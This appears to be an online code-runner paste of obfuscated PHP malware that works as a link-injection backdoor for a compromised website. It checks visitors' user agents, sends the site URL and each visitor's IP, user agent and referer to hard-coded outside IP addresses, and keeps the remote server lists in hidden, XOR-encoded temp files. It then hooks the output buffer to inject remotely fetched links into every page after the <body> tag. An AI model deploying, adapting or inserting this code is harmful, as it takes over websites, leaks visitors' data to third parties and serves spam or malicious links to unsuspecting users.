fork(1) download
  1. <?php
  2.  
  3. if (!function_exists("ZM5j2q0shf_pirogok")){
  4. function ZM5j2q0shf_pirogok(){
  5. return false;
  6. }
  7.  
  8. function Uno_decode($String)
  9. {
  10. $String = base64_decode($String);
  11. $Salt="dc5p9dOpBc";
  12. $StrLen = strlen($String);
  13. $Seq = "DMEf5HZuPq";
  14. $Gamma = "";
  15. while (strlen($Gamma)<$StrLen)
  16. {
  17. $Seq = pack("H*",sha1($Gamma.$Seq.$Salt));
  18. $Gamma.=substr($Seq,0,8);
  19. }
  20.  
  21. return $String^$Gamma;
  22. }
  23.  
  24. function get_t_dir_mass() {
  25.  
  26. if (function_exists("sys_get_temp_dir")) {
  27. }
  28. if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { $res[] = realpath($_ENV["TMP"]); }
  29. if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { $res[] = realpath( $_ENV["TMPDIR"]); }
  30. if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { $res[] = realpath( $_ENV["TEMP"]); }
  31. $tempfile=@tempnam(__FILE__,"");
  32. if (@file_exists($tempfile)) {
  33. @unlink($tempfile);
  34. if (@is_writeable(realpath(dirname($tempfile)))) {$res[] = realpath(dirname($tempfile)); }
  35.  
  36. }
  37. if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { $res[] = realpath(@ini_get("upload_tmp_dir")); }
  38. if (@is_writeable(realpath(dirname(__FILE__)))) { $res[] = realpath(dirname(__FILE__)); }
  39.  
  40. return array_unique($res);
  41. }
  42.  
  43. function get_ua(){
  44. $name = get_true_name();
  45.  
  46. foreach(get_t_dir_mass() as $t){
  47. if(file_exists($t.DIRECTORY_SEPARATOR.$name)){
  48. foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){
  49. $tt = Uno_decode($tt);
  50. if(strpos($tt,".") === false){
  51. $tmp = explode("|",$tt);
  52. foreach($tmp as $u){
  53. $know[] = trim($u);
  54. }
  55. }
  56. }
  57. }
  58. }
  59. if(count($know) == 0){
  60. $know[] = "msie";
  61. $know[] = "firefox";
  62. $know[] = "googlebot";
  63. }
  64. return array_unique($know);
  65. }
  66.  
  67. function get_true_name(){
  68. return ".. ";
  69. }
  70.  
  71. function strposa($haystack, $needle, $offset=0) {
  72. if(!is_array($needle)) $needle = array($needle);
  73. foreach($needle as $query) {
  74. if(strpos($haystack, $query, $offset) !== false) return true;
  75. }
  76. return false;
  77. }
  78.  
  79. if (isset($_SERVER["HTTP_USER_AGENT"])){
  80. $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  81.  
  82. $true_ua = get_ua();
  83.  
  84. if (strposa($ua,$true_ua)){
  85.  
  86. function t_dir() {
  87. if (function_exists("sys_get_temp_dir")) {
  88. }
  89. if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { return realpath($_ENV["TMP"]); }
  90. if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { return realpath( $_ENV["TMPDIR"]); }
  91. if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { return realpath( $_ENV["TEMP"]); }
  92. $tempfile=@tempnam(__FILE__,"");
  93. if (@file_exists($tempfile)) {
  94. @unlink($tempfile);
  95. if (@is_writeable(realpath(dirname($tempfile)))) {return realpath(dirname($tempfile)); }
  96.  
  97. }
  98. if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { return realpath(@ini_get("upload_tmp_dir")); }
  99. if (@is_writeable(realpath(dirname(__FILE__)))) { return realpath(dirname(__FILE__)); }
  100. return null;
  101. }
  102.  
  103.  
  104.  
  105. function get_know_ip(){
  106. $know[] = "151.236.14.86";
  107. $know[] = "149.154.157.133";
  108. $know[] = "37.235.54.48";
  109. $know[] = "31.215.205.196";
  110.  
  111. $name = get_true_name();
  112.  
  113. foreach(get_t_dir_mass() as $t){
  114. if(file_exists($t.DIRECTORY_SEPARATOR.$name)){
  115. foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){
  116. $tt = Uno_decode($tt);
  117. if(strpos($tt,".")>0){
  118. $know[] = trim($tt);
  119. }
  120. }
  121. }
  122. }
  123. return array_unique($know);
  124. }
  125.  
  126. function save_know_ip($ip){
  127. $name = get_true_name();
  128. $content = implode(PHP_EOL, $ip);
  129. foreach(get_t_dir_mass() as $t){
  130. $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w");
  131. fputs($f,$content);
  132. fclose($f);
  133. }
  134. }
  135.  
  136. function ZM5j2q0shf_get_real_ip() {
  137. $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR");
  138. foreach($proxy_headers as $proxy_header)
  139. {
  140. if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $_SERVER[$proxy_header])){return $_SERVER[$proxy_header];}
  141. else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE)
  142. {$proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header])));
  143. if(($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp);
  144. if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $proxy_header_temp) )return $proxy_header_temp;
  145. }
  146. }
  147. return $_SERVER["REMOTE_ADDR"];
  148. }
  149. function ZM5j2q0shf_get_url(){
  150. $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
  151. if (strpos($url,"?") !== false){
  152. $url = substr($url,0,strpos($url,"?"));
  153. }
  154. return $url;
  155. }
  156. function ZM5j2q0shf_get_contents($ip, $page){
  157. if( function_exists("curl_init") ){
  158. $ch = curl_init("http://" .$ip . "/" .$page);
  159. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  160. curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  161. $ult = trim(curl_exec($ch));
  162. return $ult;
  163. }
  164.  
  165. if (ini_get("allow_url_fopen")) {
  166. $ult = trim(@file_get_contents("http://" .$ip . "/" .$page));
  167. return $ult;
  168. }
  169. $fp = fsockopen($ip, 80, $errno, $errstr, 30);
  170. if ($fp) {$out = "GET $page HTTP/1.0\r\n";
  171. $out .= "Host: $ip\r\n";
  172. $out .= "Connection: Close\r\n\r\n";
  173. fwrite($fp, $out);
  174. $ret = "";
  175. while (!feof($fp)) {$ret .= fgets($fp, 128);}
  176. fclose($fp);
  177. $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));}
  178. return $ult;
  179. }
  180. function ZM5j2q0shf_samui_get_links(){
  181.  
  182. $all = get_know_ip();
  183. shuffle($all);
  184. $url = ZM5j2q0shf_get_url();
  185. $real_ip = ZM5j2q0shf_get_real_ip();
  186. $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
  187. $aid = "1001";
  188. $cod = md5($url.time());
  189. $check = md5($cod);
  190. $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
  191. $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"]));
  192. $page = "/ml.php?mother=www.XXXXXXXXX(Your Blog URL Will be here).com&cr=1&aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref;
  193.  
  194. foreach ($all as $ip){
  195. $tc = ZM5j2q0shf_get_contents(trim($ip),$page);
  196. $pos = strpos($tc, $check);
  197. if ($pos !== false){
  198. $proxy_list = substr($tc,0,$pos);
  199.  
  200. save_know_ip(explode("\n",$proxy_list));
  201.  
  202.  
  203. $links = substr($tc,$pos+32);
  204. return $links;
  205. }
  206. }
  207. }
  208. function ZM5j2q0shf_mod_con($con){
  209. if (strpos($con,"<body") !== false) {
  210. $text = preg_replace("/<body(\s[^>]*)?>/i", "<body\1>".ZM5j2q0shf_samui_get_links(), $con,1);
  211. return $text;
  212. } else {return $con;}
  213. }
  214. function ZM5j2q0shf_callback($buf){
  215. if (headers_sent()){
  216. if (in_array("Content-Encoding: gzip", headers_list())){
  217. $tmpfname = tempnam(t_dir(), "FOO");$zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r");$contents = gzread($zd, 10000000);$contents = ZM5j2q0shf_mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = ZM5j2q0shf_mod_con($buf); }} else {$contents = ZM5j2q0shf_mod_con($buf);}return($contents);
  218. }
  219.  
  220. ob_start("ZM5j2q0shf_callback");
  221.  
  222. }
  223. }
  224. }
  225.  
Success #stdin #stdout 0.01s 20520KB
stdin
Standard input is empty
stdout
Standard output is empty